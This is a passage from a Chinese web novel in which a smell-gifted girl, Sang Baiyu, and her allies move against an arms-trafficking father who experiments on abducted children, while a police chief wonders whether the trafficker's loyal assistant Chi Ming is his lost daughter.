“留下也找不到人,不用担心,”桑白玉找到医药箱,给池昭处理伤口,她拧眉道,“你知道受伤了还不尽快处理?年纪一大把,一点儿都不靠谱。” 池昭:“……” 年纪一大把…… 池希无声地看着二人。 池昭坐直,想了想,有些话还是该对池希说。 “池希,你不用想太多,你只需要照顾好孟姨,池明远对她已经失去耐心,几年前就曾让我看管她,不要相信池明远的话。” 池希愣愣地看着池昭。 他只知道几年前父母吵了架。 后来孟简对他说,她是吵架生气,自己跑了。 原来有这么多他不知道的事。 池希落寞地垂着头。 他想不明白,他的家到底有什么不同,为什么一家人还要钩心斗角。 池昭又对桑白玉说:“还记得何利吗?” 桑白玉点头。 “何利遇害前运送违禁武器的车,是我处理的,池明远打算卖到长峡。” 桑白玉认真听着。 池昭说:“池希不能放走,池明远早晚会知道你们的存在,他会被套话。池明远不会放弃贩卖违禁武器,他在宁蓝的生意已经到顶,迟早要向长峡发展,他是个有野心的人。” 桑白玉若有所思,“你的意思是,只有做生意才能引他过来,池希不行?” “不,”池昭说,“我的意思是,这两件事必须同时发生,他才会过来。” 边斌听得一头雾水。 他悄悄问方小满,“他们要做什么?” 方小满跷着二郎腿,嫌弃道:“你可真是笨蛋。” 鉴于自己打不过方小满,边斌讨好道:“你就告诉我吧,他们在说什么?” 方小满:“我管他们说什么,我只要按照小玉说的话去做就好了。” 边斌:“……” 合着她也不知道。 她也是笨蛋! 第60章 宁蓝国首都,豪华庄园内有保镖有喷泉,还有仿欧洲风格的建筑。 宁蓝国虽穷,但庄园的主人可不穷,国家大部分财富都集中在他们手中。 轿车在大门口经过保镖检查,缓缓驶入,停在停车场。 身形高大的男人匆匆下车,向里走去。 书房同样豪华。 地毯是欧洲进口的,书架从底通到天花板,皆是欧洲复古风。 宽绰的实木桌后,男人漫不经心地翻看最近两个月的账本。 他有一个能为他赚钱的好儿子。 池明远这辈子过得是顺风顺水。 当年拿着投名状来宁蓝国发展,先是拿了一笔钱,又靠这笔钱做生意起家,生意越做越大,直到今天,池家在宁蓝国赫赫有名。 虽然宁蓝国只是弹丸之地,但每个国家都有富人,池家的实力不容小觑。 他唯一运气不好的地方,就是小儿子不太听话。 他让池希去学经商,将来好能接班,这孩子一直不听话,一心吃喝玩乐。 如果池明远还有更好的选择,他倒是可以允许池希如此,可池昭…… 池明远总觉得他拿捏不了池昭。 池昭从小就与他不亲近。 他太聪明,很早便知道他母亲的死有问题。 不论池明远如何解释,他就是不信,每天都逼问他姜玉玲的下落。 姜玉玲是他最不愿意想起的人,时间久了,池明远便不太喜欢和池昭说话。 池昭长大后倒是能帮他打理生意,可就是因为他的头脑太够用,池明远很有危机感。 他总觉得等池昭的势力培养起来,池昭会把他踢出局。 所以这些年他一直防着池昭。 就这么拖着。 敲门声响起,身穿制服的魁梧男人走进来。 池明远瞥了他一眼,二人完全是两种长相。 宁蓝国十分混乱,各个人种都有,曼德更偏西方的白种人长相,池明远看起来就是普通的黄种人,不像其他当地人这般黑瘦。 池明远的身材保持得不错,五官也还算儒雅,打眼一看像是老实巴交的好人。 他示意曼德坐下。 曼德站着没动,“老池,你想和华国做生意,我不反对,但你如果要卖这些东西给他们,是不是该先和我商量?” 池明远不慌不忙道:“你多虑了,我不和官方做交易。” 曼德蹙起浓眉。 池明远道:“我的目标一直不是官方,事实上,就算上一批货被炸毁,来找我做交易的人仍然络绎不绝。” 曼德疑惑道:“你的意思是……” “让他们乱起来,对你们不 是更有利吗?你代表宁蓝国,应该会希望看到这样的场景。” 曼德渐渐露出笑容,“不得不说,还是你的心更狠。其实你也算是华国人,何必呢?” 池明远放下账本,微笑道:“谁给我钱,谁才是我的主子,这么简单的道理,相信你也明白。” 曼德勾唇,“还是和你合作最痛快,没有那些乱七八糟的事情,不过……谁说你不和官方做生意?我不就是官方吗?” 两人相视一笑。 曼德坐下,进入正题。 “长峡的警方找到你的货了,说是几个年轻女人在山上发现的,这几人有些怪。” 池明远道:“年轻女人?或许只是偶然发现?” 曼德说:“你不认为我们这两年遇到的糟糕事情很多吗,很多生意都莫名其妙失败,老池,我们少赚了很多钱。” 池明远看向挂在墙上的全家福。 他与孟简亲密地坐在前面,池希笑容灿烂,只有池昭,一脸阴郁。 池明远说:“生意失败,可能是内部出现问题。” “我还是不放心,所以查了那三人的身份,发现她们是从龙星岗过去的。很巧的是,其中一人与贵公子是同学,还是交往颇多的好友。” 池明远不动声色地看着曼德,“我不喜欢拐弯抹角的对话。” 曼德说:“他们一同在长峡读的初中、高中,池希经常去找她,她叫桑白玉。” 池明远沉默。 上一次听到桑白玉的名字,还和池昭有关。 祝江传来消息,说池昭单独行动没带他。 池明远便去查,发现池昭是与一个叫桑白玉的女孩在一起。 他刚起疑,池昭便派人去对方的家里,双方起了冲突,他们的人还进了派出所。 池明远以为,这只是池昭处理难题的一种方式。 他有些后悔当时没查得更清楚。 不过…… 为什么没查清楚? 按理来说,只要他下令,别说是她念过的高中,她与谁说过话都该查得清清楚楚才对。 池明远意识到不对劲。 他立刻拿起话筒,给助理打电话。 没过一会儿就得到回应,“查她的信息比较困难,有很多没用的信息掺杂在一起,需要辨认。” 池明远心一惊。 有人做过手脚。 池明远道:“你说有三个女孩,还有两人是谁?” “另一个是龙星岗警署的法医方小满,还有一人,暂时不清楚。桑白玉与方小满和龙星岗警署的署长来往密切,曾帮忙破获多起案子,在那一代很出名。” 池明远又让助理去查方小满。 结果一样,方小满和桑白玉的信息都不容易查。 这是有人在提防。 方小满就算了,桑白玉才刚成年,为何要提防? 曼德说:“来者不善,我们得去一趟龙星岗。” 池明远拧眉,“龙星岗可与长峡挨着。” “这又如何?” “你应该知道我背叛过那边,那边盯我盯得很紧,我一旦出现在长峡,有没有命能回来都两说。” 曼德道:“我只是说去龙星岗看看。” 池明远仍然摇头,“还是太危险。” “难道你将来不做生意了吗?”曼德说,“只要你想做生意,早晚要去,还是你要一直让池昭代劳?你说过,池昭的心思很深,要提防他,上次的教训你忘了吗?” 池明远哪里会忘? 生意刚有开端,那一车货物就被炸了,连带着何利也送了命。 警方没能给池明远一个满意的解释,他也无法公开质问。 但池明远一直在怀疑池昭。 池明远说:“让我再考虑考虑。” * 曼德带着几名下属来到平乡街。 平乡街是个神奇的地方,被通缉的犯人都喜欢往平乡街跑。 所有人都统一口径,格外害怕玉石店的那几位。 曼德听着便觉得好笑。 玉石店? 几个女人凑在一起的玉石店,有什么好害怕的? 不过平乡街的现状还是让曼德大吃一惊。 平乡街没有任何不正之风,营业的店铺都在规规矩矩地做生意,据说是被教训得多了,小毛贼都不敢上街。 这当然也和玉石店有关。 曼德不太高兴,直接往玉石店走去。 多年未整修的玉石店稍显破败。 下属说道:“听说这家店卖的都是上乘的珍品,这家的小姑娘很会挑石头。” 曼德问:“哪个小姑娘?” “叫什么玉的。” 又是桑白玉。 曼德又问:“怎么个会挑法?” “说是她买的石头,基本上都能开出玉,而且成色很不错,大家都很羡慕,想有她的本事。” 曼德越听越觉得奇怪。 这本事…… 下属小心翼翼地问道:“将军,我们进去之后,能……吗?” 曼德说:“随你们。” 下属欢呼着往前冲。 玉石店里都是珍品,拿回去能卖不少钱,这趟出来算是赚了。 玉石店的卷帘门是关闭的。 这帮人可不管门有没有锁,他们三下两下将门锁砸坏,一点儿技术含量都没有。 打开门,他们就往里闯。 透明柜台里的商品琳琅满目。 没人去二楼找人,所有人都被柜台里的玉石吸引。 曼德也走了进来,他没有制止下属,只是四处观察。 楼上悄无声息,不像有人。 曼德有些奇怪。 他们是秘密调查的,玉石店的人不该知道。 曼德往楼上走去。 二楼空空如也,没有人住过的痕迹。 曼德越看越奇怪,楼下也传来骂声,“这不就是破玻璃吗?!” “这是家黑店,真黑!” 曼德一惊,打开所有房门检查,没发现任何线索。 这会儿一楼的人才一股脑地往楼上冲,势必要把玉石店的宝贝找出来。 刚好曼德往楼下走,十几个人挤在楼梯上,楼梯发出诡异的声音。 这声音被吵闹声淹没。 他们都想给曼德让路,但人太多,无处可退。 就在这时,楼梯终于承受不住重量,一处折断处处断。 轰隆一声,所有人都向下摔去。 曼德:“……” 他是不是被算计了?? 巨大的声响引来周围的邻居。 他们七嘴八舌地讨论,“楼要塌了吗?苏蓝移出事了?” “哪能啊,苏蓝移早就走了,那天见他开了一辆卡车来,他怎么什么车都会开?” “也就他敢直接把玉石全都带走了,他家的玉可都是上等品质。” 曼德:“……” 他确实被算计了。 更糟糕的是,龙星岗警署的人也来了。 吴元青带人将曼德几人围起来,严肃道:“这是什么情况,你们是这家店的主人吗?为什么进来?” 有人发现卷帘门的锁被破坏,“他们是强盗,是闯进去的!” 吴元青大惊,“在平乡街还敢光明正大抢劫?这么多人都不等到晚上?蹲下!抱头!跟我们走!” 没穿制服的几人被迫带到警署。 曼德的脸色从未如此臭过。 这是他的屈辱!一辈子的屈辱!! 曼德还被关在询问室,他始终沉默。 吴元青借口公务,离开询问室,纳塔笑得肚子痛,“他还是什么将军,看他的脸臭的,就该让大家都知道,将军跑去玉石店偷东西。” “少生事,”吴元青瞥他一眼,“把消息告诉小玉就够了。” 纳塔说:“可他们确实闯进去偷东西了啊。” 吴元青似笑非笑道:“怎么,你还想把他关起来?可能吗?” 纳塔泄气道:“是不太可能。” 正如吴元青所想,一个小时后领导便打来电话,示意吴元青放人。 来龙星岗这么多年,吴元青已经习惯了。 他游刃有余地应对,对着曼德赔笑,用流利的宁蓝国语言说道:“真的太抱歉了,不知道您来龙星岗,这次的事保证不会让其他人知道,您如果愿意赏光,今晚就一起吃顿便饭,给您赔罪。” 曼德哪有心情吃饭,他问:“店里的楼梯怎么会断?” 吴元青:“明白!我都明白!一定是他们故意的,我会把他们抓进来,让他们解释清楚!不过曼德将军,他们家有个小女孩,以前帮过我,是不是能放过她一马?” 他的表现无懈可击。 纳塔小声说:“咱署长狗腿的样子真难看。” 阮枫 赞同道:“而且狗腿得越来越熟练了。” 曼德的脸色更是差劲。 他现在还摸不清吴元青和桑白玉的关系,不会把吴元青当作自己人。 不过目前来看,吴元青的表现也没什么特别的。 曼德还不至于当面为难吴元青,事情就此结束。 吴元青给桑白玉打去电话。 桑白玉若有所思道:“曼德?没听说过这个名字,我得问问大姐,应该和池明远有关,看来他们已经盯上玉石店,我们不能回去了。” 吴元青说:“你们最好离龙星岗远点儿,我看这位将军不是省油的灯。你们那边情况如何?” 桑白玉简单说了池茗的事,她关切道:“吴叔叔,你也回长峡吧,以后我帮你找女儿,红英姐姐的妈妈都找到了,你一个人在龙星岗,太危险。” 吴元青却松怔道:“等等,你刚才说的池茗,她是谁的孩子?” 桑白玉奇怪道:“谁的孩子?这我不清楚,我只看过她的档案。” 吴元青的心咚咚直跳,“就是档案。” 桑白玉回忆道:“第一份档案是7岁,是研究她的嗅觉的。” 长时间的沉默后,桑白玉才听到吴元青的声音,“我现在回长峡。” * 桑白玉和方小满一起去接从长峡赶来的吴元青。 “他们的目的已经很明确,就是为了寻找嗅觉异常的孩子,把这些孩子当作他们的武器。除了做生意,池明远似乎有更大的野心。” 吴元青的心率始终没下来过,他试探着问:“这些孩子从何而来,会不会是被拐走的?” “大姐担心打草惊蛇,现在还没对收容所下手,只是远远地盯着。我们救上来的女孩说,她是六岁那年和老师一起离开的,老师说要带她去骑木马,将她带上火车,之后便有其他人接手,老师离开。后来辗转反侧来到长峡。” 吴元青听得心惊肉跳,“老师居然是同谋?!” “他们不会随便带走孩子,应该是从老师那边得知某个孩子嗅觉比较好,所以带走研究。这件事已经持续很多年,第一个人……” 桑白玉想起那份没有姓名的陈旧档案,“第一个人是池昭的母亲,或许池明远就是通过池昭的母亲发现还有这类人的存在,所以动了心思。” “可池明远是个商人,这样做对他有什么好处?” 桑白玉说:“我们这类人,做事很方便,比如我去偷东西,你不必进门,我就知道有人来了。这是最简单的。往复杂里说,如果你给我一颗子弹,我就能分辨火药里的成分。子弹是很常见,但如果是不常见的武器呢?” 吴元青倒吸一口冷气,“他们就有研究方向了。” 桑白玉点头,“这太危险了,必须把他们连根拔起。” 吴元青却说:“你露面合适吗?” “我?” “如果他们知道你……你岂不是会很危险?” 桑白玉疑惑道:“他们能抓到我吗?” 吴元青伤感的情绪还未酝酿好,“?” 桑白玉:“我目前还没有碰到特别厉害的人诶,真的能抓住我吗?” 吴元青:“……” 所以说他不喜欢这个小朋友!! 吴元青是奔着池茗来的。 他女儿失踪时,也是七岁。 莫名其妙就失踪了。 他是刑警,打听到女儿可能被带到龙星岗,才托关系跑去龙星岗。 背井离乡多年,有关女儿的线索却从此断了。 吴元青这辈子好像都没什么指望了。 桑白玉把池茗当年的档案背了出来,包括身高、体重有几颗牙。 吴元青的心扑通扑通直跳。 年龄对得上,身高体重也对得上。 她该不会就是…… 吴元青艰难地问道:“你说她现在帮池明远做事?” 桑白玉说:“她对池明远非常忠诚,流浪汉的死、被丢掉的孩子们,都和她有关。” 听到这话的一瞬间,吴元青窝在角落失神,容貌憔悴,仿佛老了十岁。 桑白玉不知道池茗究竟是不是吴元青的女儿,她没有多说什么,在心里盘算惠海铭的计划。 惠海铭和苏蓝移都回来了,龙星岗那边暂时回不去,只能把人往长峡引。 只有池明远进入长峡境内,才能光明正大拿下他。 桑白玉去池希的房间找他,他和苏蓝移睡一个房间。 池希正冲着苏蓝移抱怨,“大叔,你就不能再给我腾出来一间房吗?真的很挤,我从来没住过这么小的房间?” 苏蓝移懒得理会池希。 他刚处理好龙星岗的事,现在累得很。 桑白玉走进去,认真地和池希分析,“作为朋友,我很不想看到你的父亲被捕,但作为华国人,你的父亲背叛过我们,害死了大姐的战友,又经营一些害人的生意,他必须接受惩罚。” 池希一时半刻还没办法把池明远和坏人联系在一起。 可这么多年,他不是傻子,不是完全没有察觉。 正是有所察觉,才不想和家中的生意扯上关系,每次池明远让他和池昭学习,他都能躲多远就躲多远。 池希问:“我哥呢?” “他走了。” “走?去哪?” 桑白玉说:“你爸把他叫走了。” 池希茫然地看着桑白玉。 桑白玉没再解释。 池昭说,池明远让他去盯着宁蓝国最西方的生意。 池家在西边的生意并不多,以前很少打理。 现在突然让池昭过去,恐怕是想让他远离长峡。 池明远可能想继续和长峡市做生意了。 桑白玉道:“你必须把小灵通借给我,我知道你和池明远有单独的联系方式,我要通过你把他引过来。” 苏蓝移余光看向二人。 他对池家人没有一点儿好感。 不管是池昭还是池希,在他眼中都一样。 他甚至不想和池昭有任何联络,偏偏桑白玉说池昭可以信任。 但他家小玉……对池希也太残忍了吧?表达的方式不需要委婉一点儿吗?? 他都看不下去了。 池希犹豫片刻,说:“好,我该怎么说,你告诉我哦。” 桑白玉让池希给池明远发信息。 以池希的口吻报平安。 池希疑惑道:“只是报平安?” 桑白玉点头。 “如果要利用我把他引过来,不是该说些威胁他的话?” 桑白玉说:“不用太刻意,这样说就好。” 池希的消息石沉大海,一直没回信。 他紧张地守着小灵通,就怕错过池明远的消息。 苏蓝移给他倒了杯温水,提醒道:“他极有可能是在暗中调查,你不必难过。” 池希没作声,只是盯着小灵通愣神—— 作者有话说:写完不敢发系列魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-66 第61章 新店铺的常住人口越来越多。 一楼,宁红英和张淼正在做生意。 化验结果已经邮寄回来,张淼正是宁红英的亲生母亲。 两人的心事都尘埃落定。 张淼不打算回老家,她要和宁红英一起留在长峡。 老家没人支持她出来找孩子,前夫已经再婚,她虽然理解他的决定,却也不想再给宁红英添麻烦。 惠海铭正在打电话。 苏蓝移坐在她对面。 桑白玉走过去,惠海铭正好挂断电话,感慨道:“在龙星岗待了那么久,没想到以这种方式回来,平乡街是去不了了。” “这家店也不能多待,池昭未必有其他心思,但他名下的资产,池明远 应该很了解。” 桑白玉说:“我问过池昭,这是他私人的,故意瞒着池明远,他不知道。” 苏蓝移挑眉,“他与池明远的关系倒是有趣。” “池昭母亲的失踪与池明远有关,池昭对他一直有恨,而且我总觉得……”桑白玉坐在惠海铭旁边,“池昭的身份好像不太一般。” 苏蓝移问:“怎么个不一般法?” “就是……”桑白玉摇头,“我也说不好,不确定,没有证据,只能想想。” 惠海铭提醒道:“不管怎么说,池昭都是池明远的儿子,你要小心一些,离他远一点。” “他人在哪?” 桑白玉说:“池明远把他调回宁蓝了,一个远离龙星岗的偏僻城市,池明远担心池昭给他使绊子。” “池昭给池明远使绊子?” “与何利的车一起爆炸的货车,运的是要贩卖到长峡的违禁武器,是池昭做的。” 惠海铭挑眉,“他倒是有点儿意思。” 桑白玉保证道:“他和池明远肯定不是一伙的,我能看得出来。” “只是看出来的?有证据吗?” “我……”桑白玉犹豫片刻,“我没办法说清楚,但一定是这样。” 惠海铭道:“小玉啊,你对他没别的心思吧?” 苏蓝移说:“你刚成年,对长相不错的男人有好感也正常,但他不行,年纪太大,做的事太危险。” 桑白玉茫然片刻,才慢慢意识到惠海铭和苏蓝移的意思。 桑白玉:“……” 她还真没往这方面想过。 惠海铭站起身,把椅子放好,“就先住在这里吧,不搬家了,派出所就在附近,很方便。我这几天要出去一趟,你们小心,有特殊情况一定要和我联系。” 桑白玉问:“不是要把池明远引过来抓走吗?” “引到长峡?这不太可能,”惠海铭说,“这是我和池明远的事,你还在暑假,多去玩玩吧。” 一连几日,桑白玉都没再见到惠海铭。 苏蓝移倒是偶尔出现,但出现的次数也不多。 警察也不再和她们来往,生活好像又恢复平静。 但桑白玉知道,有些事,她已经摸到边缘了。 最不满的是方小满。 “我为了你们才放弃长峡,去龙星岗的警署,结果你们现在都回来了!我不管,我也要回来!” 吴元青打着哈欠说:“我不还是跑回来了,什么法医,你就别管了,你有学历,在这边进法医检验中心还不是轻而易举?” 桑白玉担心道:“你在龙星岗的工作怎么办?” “谁知道,”吴元青冷哼道,“我还以为回来避开曼德,还能帮你们的忙,结果连玉石店的门都没出过。” 方小满道:“要不我们出去转转?每天都待在家里,我都快无聊死了,我们去找找池茗吧,或者去看看夏夏,可别让他们逃跑了。” 吴元青眼前一亮。 桑白玉知道吴元青对池茗很感兴趣,池茗来到收容所的年纪,和他女儿失踪时的年纪一样。 虽然不知道天底下有没有这么巧的事,但还是该让吴元青看看池茗的长相,说不定可以确认。 不过这事不太容易办到。 “吴叔叔,池茗的嗅觉异于常人,我们不能靠近,只有池昭能接近她,但现在池昭不在。” 方小满提议道:“我们带着望远镜,远远地看看,大姐给我的望远镜,军用的,特别清晰!” 三人一拍即合。 宁红英还要看店,不愿意走。 方小满痛心疾首,“你看看你现在的样子,越来越像土财主了。” 宁红英不动声色地拉开装钱的抽屉。 方小满正色道:“必须当土财主,我们的未来就靠你了!” 张淼笑盈盈地看着几人离开。 她刚听说宁红英是和几个没有血缘关系的人生活在一起时还很担忧,但来到店里后,就完全没有这方面的顾虑了。 她们彼此之间很亲密,而且一心为对方着想,和真正的一家人没两样。 宁红英能遇到她们,很幸运,张淼很感激。 桑白玉三人出门后,直接搭公车去收容所附近的山上。 监视收容所的人八成也在附近。 下了公车后还要再走一段路才能到山脚下。 华国早已开放,街道两旁都是做生意的小摊。 他们走到村子附近的集市,看到许多摊位。 桑白玉本想看看有没有好东西买回去,却听到角落里发出争吵声。 “你踩了我的东西就要走?我这是从香江进口的衣服,你赔钱!” “我只是碰了一下,哪里踩到了?你这一点儿印记都没有,还要我赔钱?香江也算进口?你敢去政府说这话吗?!” 桑白玉原本没关注这点儿小矛盾,但他们越吵越凶。 其他摊主居然向吵架的摊位聚集,两个人吵架逐渐变成群体吵架,而且每个人加入的阵营都很明确。 桑白玉越看越觉得奇怪。 吴元青做了这么多年警察,对这种情况见怪不怪,他解释道:“他们能在这里摆摊,估摸着都有要搞定的人,他们是在抱团。居然分成了两拨……看来这边的势力很复杂。” 桑白玉问:“为了这点儿小事吵起来,是积怨已久吗?” “差不多。” 两边越吵越凶,竟然开始上手。 眼瞅着吵架要变成斗殴,吴元青皱着眉走过去,他是警察,不能坐视不理。 第62章 然而事态发展远比吴元青想象中要严重。 吵架升级变成互殴,接着是群殴。 还不是普通的群殴,好多人都带着家伙。 这年头是不安定,但也不是人人都带家伙上街,朝对方往死里打的。 吴元青大惊失色,救下两个被卷入的普通老百姓后,立刻撤到桑白玉旁边,“他们不是普通商贩,是当地的混混,而且不是一起的。” 相当于两个团伙在打架。 被吴元青拉出来的人抱怨道:“可不是嘛,我们这里想摆摊,都得给他们交保护费,谁要是不想交钱,腿打断!唉,这些人早就该管管了。” 桑白玉问:“他们都是谁的人?” “一个叫华哥,一个叫黑哥,具体是谁我就不太清楚了。” 吴元青刚来长峡,对这边的情况也不太了解。 方小满倒是听说过,“我记得池希给我讲过,他似乎和这些人接触过,华哥应该稍微厉害些,而且他在宁蓝国见过华哥,华哥应该早就和池家有接触。” “黑哥呢?” “他说得不多,不过估摸着也有生意上的往来,他俩应该都有娱乐产业。” 这是在长峡混得比较“好”的两帮人,华哥和黑哥分别是“老大”。 一山不容二虎,两伙人又都有娱乐产业,自然看不惯彼此,打架是家常便饭,双方早有宿怨。 桑白玉说:“先报警吧,看到老百姓就把人拉出来。” 方小满问:“其他人不管了?” 吴元青:“……” 双方加起来起码四十号人,他们只有三个人,怎么管??? 然而桑白玉对这个问题并不惊讶。 这是最让吴元青悲伤的。 他好歹也练过那么多年,居然连两个小女孩都打不过! 桑白玉一边“抢救”普通老百姓,一边观察动手的人。 怎么刚刚好他们过来,这些人就打起来了? 是在给收容所通风报信? 不对,他们和池明远最多是合作关系,收容所的研究是保密的,和做生意不一样,他们不可能知道。 一辆黑色的轿车从对面开过来。 后排的车窗下摇,露出一张清秀的脸。 池茗扎着高马尾,淡淡地看着窗外。 她的视线没有分给打架斗殴的人。 桑白玉在瞬间捕捉到池茗的气味。 与此同时,池茗看向桑白玉。 相距四五米远,中间隔着随时被踹飞的人群,阴云聚集,风声鹤唳,二人的目光在空中对视。 她们从未正面见过彼此,却都熟悉对方的气味。 对视只是刹那间的事,轿车很快开走。 桑白玉心里只有一个念头——她也认出她了。 池茗是典型的华国女孩。 长峡部分当地人和龙星岗人长得很像,身材偏瘦,肤色偏黑,但池茗明明白白就是华国人的长相。 她的年纪在华国,还是该在学校读书的年纪。 现在却在做 一些危险的事情。 池茗曾经也是被他们研究的人之一,现在成为他们的得力助手,甚至是主要成员。 吴元青问:“你在看什么?” “池茗刚才过去了,在轿车里。” 吴元青立刻看向轿车,却只捕捉到尾巴。 桑白玉说:“一会儿我去刑侦队找技术员,请他们的画像师把池茗的容貌画出来,你来辨认。” 吴元青心情沉重地点头。 他是土生土长的华国人,并不喜欢龙星岗。 他无法接受龙星岗的生活习惯,从饮食到住宿,从来都没习惯过。 吴元青是为了找女儿才一直待在龙星岗,他希望有生之年还能再见她一面。 桑白玉见他失神,安慰道:“其实大姐他们在确认收容所孩子们的名单了,他们最近不敢有动作,怕被盯上,等过段时间说不定会转移,警方会尽快确认孩子们的身份,帮助他们回家。” 吴元青问:“你曾经说过,他们是被老师带出来的?” 桑白玉点头,“幼儿园老师。” “橙橙的幼儿园老师,我还有印象,”吴元青道,“我托我朋友查查。” 孩子失踪时,幼儿园老师还帮忙找人。 没想到她就有可能是罪魁祸首。 为了不让更多的孩子受到伤害,铲除收容所的行动不能耽误太久。 可目前为止,池茗几人还未和池家人联络,他们得把池茗背后的大鱼揪出来才能行动。 池茗已经离开,他们就没了去收容所的理由。 附近的派出所派人过来阻止两拨人马,现场得到控制后,桑白玉带着二人直奔刑侦队。 段浩给他的“资金支援伙伴”介绍了画像师,桑白玉和方小满口述,画像师根据描述来画,再做最后的调整。 方小满惊讶地看着画像师递过来的肖像,“几乎一样。” “是很像,”桑白玉钦佩道,“您真的好厉害。” 画像师笑道:“看家的本事罢了。” 桑白玉把画像递给吴元青。 薄薄的一张纸传到吴元青手中,仿佛有千斤重。 他迫不及待地去看画像,看到画中的年轻女孩后,一时失神。 很像,又不像。 吴元青发现他根本不知道橙橙长大后会是什么模样。 她被拐走那年,还那样小。 晚上桑白玉和方小满还要陪池希出去下馆子。 池希对于她们撇下他离开的事很不满。 在吴元青眼中,池希只是个普通的孩子。 他不见得真的不知道池明远的所作所为,他毕竟一直享受着富贵的生活,不可能毫无察觉。 但这些年相处下来,池希确实也没什么坏心思。 就算有,他的智商也不太能支持他做一个坏人。 这评价吴元青是不敢和池希说的。 吴元青一个人出去溜达。 走着走着,吴元青就坐上了公车,溜达到白天发生斗殴的地方,现在已经没有人了。 吴元青继续往山上走。 桑白玉说的路线他还记得,无论如何,他都想亲眼见到池茗。 吴元青不知道监视收容所的人在哪里,在他眼中这只是普通的山,只不过刚好能通过望远镜看到收容所。 吴元青带着望远镜越走越高。 说话声突然从上方传来。 “你去下面找。” “不会跑到下面吧?” “这谁知道?都怪你,咱们的规矩你都忘了?不能打孩子,不能让她害怕!如果能确定她不是老板要找的人,随你怎么打她,但现在不行!” 是一个女人在指责男人。 男人说:“还不是她不听话。” “那也不能打!她和我们有隔阂了,将来不帮我们怎么办?如果她真的和池茗一样,有那样的本事,却对我们不满,老板会生气!” 第63章 吴元青心脏狂跳。 他居然在这里遇到了那帮人? 他们是在找孩子,有孩子跑到山上了? 吴元青听到男人的冷笑声,“池茗就是蠢,死心塌地地为老板干活,我如果有她的本事,一定去享受荣华富贵。她呢?就因为老板说她的能力太一般,想方设法提升嗅觉,什么药都肯吃,她也不怕吃死?” “别说了,池茗马上就到,让她听到怎么办?赶紧找人!” 吴元青的心脏剧烈跳动。 他恍然意识到,池茗是被利用了,他们并没有把她当作真正的伙伴。 这对吴元青来说是个好消息。 敌人之间是有裂痕的,方便他行动。 但不知为何,吴元青好像在替池茗担心。 等二人没动静了,吴元青才往下撤。 他打算先给桑白玉报信,再商量下一步行动计划。 然而他往下走了五分钟,便听到沉重的呼吸声。 吴元青下意识寻找喘息的人,脖颈处便多了一把匕首。 扎着高马尾的女孩冷冷地看着吴元青,“你是谁,为什么在山上,条子?” 吴元青身上的警察味儿浓郁。 池茗见过很多警察,他们的特点都很明显,尤其是眼睛,和普通人不一样。 这两日池茗莫名心慌,尤其是在华哥的地盘上见到桑白玉那次。 她不认识桑白玉,但从其他人传来的信息来看,来者不善。 池茗想到被警方救走的四人。 虽然尸体都停在法医鉴定中心,但她还是心慌。 万一有人活了下来,他们的秘密就会曝光。 池茗越想越烦躁。 早就和他们说了,不要下死手,他们偏不听! 要这帮孩子的命对他们有什么好处?! 吴元青的状态和池茗完全不同。 他先是留意到她的轮廓,她背光走来,轮廓依然是少女的模样,可声音却有些粗糙,像是含着砂砾。 吴元青的目光停留在只能看到池茗轮廓的地方。 他知道自己只要再歪一下头就能看清她的容貌。 可他现在就像生锈的机器,无论如何也无法转动头颅。 他很明白,这绝不是因为脖颈上的利刃。 池茗的耐心极其有限,她出其不意地走到吴元青面前,露出整张脸。 她还是个模样稚嫩的小姑娘,如果没有经历这些事,现在应该是读高中的年纪。 可她眼中现在有不属于她的成熟与冷漠。 吴元青恍惚了。 他发现自己认不出女儿,他根本不知道她长大后会是什么样。 吴元青语无伦次道:“你要当心,他们不是真心对你。” 池茗拧眉,打量着眼前奇怪的男人。 吴元青却只想提醒池茗,“我刚才听到两个人的对话,好像提到你,说是一会儿会来的小姑娘,他们对你不太满意,但又因为什么理由不得不继续和你合作,我也没太听明白,你……当心啊。” 吴元青的眼中只有关切。 池茗怔住片刻,却没有收起匕首,她好像没听到吴元青的话,逼问道:“你是不是警察?” 吴元青平静地反问,“你害怕警察?” 池茗语塞。 她又看了吴元青两眼,收起匕首向后退,不愿再与他纠 缠。 吴元青给她的感觉很奇怪。 池茗想不通原因,她本能地认为吴元青很危险。 不过池茗可以确定,吴元青不是曾经去过收容所的人。 那两人大概只是偶然经过。 池茗道:“别说废话,赶紧走!” 她收好匕首,向山上走去。 吴元青急道:“我说的都是真的,他们会算计你!” 池茗冷淡地瞥了眼吴元青。 吴元青跟上她,急切道:“我还听到他们说起你的能力,我不太明白这种能力代表什么,但他们似乎非常忌惮,而且想对你……” 池茗再次停下。 她原本已经打算放过吴元青。 他不该说这种话。 池茗转动匕首,冷漠地看向吴元青,“你很啰嗦,有些事知道了,也该装作不知道。” 吴元青微怔,下意识说:“我只是不希望你被骗。” “我的能力,注定了他们要忌惮我三分,”池茗走向吴元青,“他们是真心对我,还是虚情假意,重要吗?” 她只需要一个容身之地,一个展现能力的平台,而且…… 池茗目光阴郁。 这些年收容所对她的研究也没停止,他们试图让她的嗅觉更上一层楼。 可她的能力已经发展到头,目前只能做到判断周围人的位置,若是残余气味,只能分辨十分钟内的味道,没办法再进一步。 那个人说,能力应该是可以逐步提高的。 池茗愈发烦躁,“你太啰嗦了,真的很啰嗦,我不明白你为什么要这样做。” 吴元青却很平静,“我的女儿失踪了,我来找女儿,她失踪时才7岁,我找了她很多年,山下的收容所……她或许在。” 池茗愣住。 收容所里的孩子是如何来的,她心知肚明。 吴元青继续说道:“我和她妈妈找了她很多年,她妈妈失去她后像变了个人,身体越来越差,我本想放弃找孩子,留下来照顾她,可她不同意,让我一定不能放弃,我找到新的线索,孩子可能在长峡、龙星岗附近出现,就过来了,我来这边,很多年了。” 池茗恍惚地看向吴元青。 林中枝叶密集,光线极暗,她好像看不清吴元青的脸。 记忆中,她在7岁以前,也一直跟在父母身后,可他们的容貌,她全然记不清了。 池茗看向收容所的方向,低声道:“你的孩子叫什么,有什么特征吗?” “16岁,”吴元青说,“她已经16岁了,没有胎记,没有标识,除了去做检测,没办法辨认。” 池茗向后退去。 16岁…… 她不可置信地看着吴元青。 不是,应该不是。 吴元青试图再与她交谈,池茗后退的速度却更快了,“今天我放过你,以后不要再出现。” 她转过身匆匆往山上跑去。 * “长峡那片,华子和黑子的势力最大,要做生意还真就得找他俩。这俩人水火不容,都挺需要咱们的东西的。”曼德循循善诱。 池明远脸色阴沉,“你刚带人在平乡街闹了一通,会让别人注意到我们。” 曼德耸肩道:“注意到又如何?谁敢说一句话?我就问你,这生意你是做还是不做。” 